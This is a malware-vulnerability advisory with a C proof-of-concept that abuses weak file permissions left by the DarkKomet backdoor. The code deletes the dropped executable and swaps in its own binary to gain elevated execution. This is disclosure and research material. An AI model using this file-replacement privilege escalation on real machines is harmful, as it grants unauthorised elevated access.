Exploit for Backdoor.Win32.DarkKomet.bhfh Insecure Permissions

## https://sploitus.com/exploit?id=PACKETSTORM:161099
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/66fa06a4e3e799b059910dc17de295ae.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.DarkKomet.bhfh  
Vulnerability: Insecure Permissions  
Description: DarkKomet.bhfh creates a hidden dir named "System" under c: drive and drops an EXE named "ÚÈÏÇáÑÍãä.exe". After logoff, any standard user can just delete and replace the executable as DarkKomet grants change (C) permissions to the authenticated users group.  
Type: PE32  
MD5: 66fa06a4e3e799b059910dc17de295ae  
Vuln ID: MVID-2021-0052  
Dropped files: ÚÈÏÇáÑÍãä.exe  
Disclosure: 01/25/2021   
  
Exploit/PoC:  
C:\>cacls C:\System\ÚÈÏÇáÑÍãä.exe  
C:\System\ÚÈÏÇáÑÍãä.exe BUILTIN\Administrators:(ID)F  
NT AUTHORITY\SYSTEM:(ID)F  
BUILTIN\Users:(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
  
#include "stdio.h"  
#include "windows.h"  
#define TARGET "C:\\System\\ÚÈÏÇáÑÍãä.exe"  
#define TMP "C:\\System\\2.exe"  
#define DISABLED_TARGET "C:\\System\\666.tmp"  
  
/* Backdoor.Win32.DarkKomet.bhfh.66fa06a4e3e799b059910dc17de295ae */  
/* Insecure Permissions EoP */  
/* Log out under as the current privileged user account, run the exploit as standard user */  
/* By Malvuln */  
  
BOOL PWNED=FALSE;  
  
BOOL FileExists(LPCTSTR szPath){  
DWORD dwAttrib = GetFileAttributes(szPath);  
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));  
}  
  
void main(void){  
  
if(!FileExists(DISABLED_TARGET)){  
WinExec("cmd.exe /c del /a C:\\System\\ÚÈÏÇáÑÍãä.exe", 0);  
Sleep(1000);  
CopyFile(TARGET, TMP, FALSE);  
Sleep(1000);  
CopyFile(TMP, DISABLED_TARGET, FALSE);  
printf("[+] Backdoor.Win32.DarkKomet.bhfh EoP PoC\n");  
Sleep(1000);  
printf("[+] Disabled ÚÈÏÇáÑÍãä.exe ...\n");  
Sleep(300);  
}else{  
PWNED=TRUE;  
}  
  
if(!PWNED){  
char fname[MAX_PATH];  
char newLoc[]=TARGET;  
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);  
if (size){  
printf("[+] Copying exploit to vuln System dir...\n");  
Sleep(1000);  
CopyFile(fname, TARGET, FALSE);  
printf("[+] Replaced ÚÈÏÇáÑÍãä.EXE...\n");  
printf("[+] Done!\n");  
exit(0);  
}  
}else{  
if(FileExists(TMP)){  
remove(TMP);  
}  
printf("[+] Backdoor.Win32.DarkKomet.bhfh PWNED!\n");  
printf("[+] MD5: 66fa06a4e3e799b059910dc17de295ae\n");  
printf("[+] By Malvuln\n");  
system("pause");  
}  
}  
  
  
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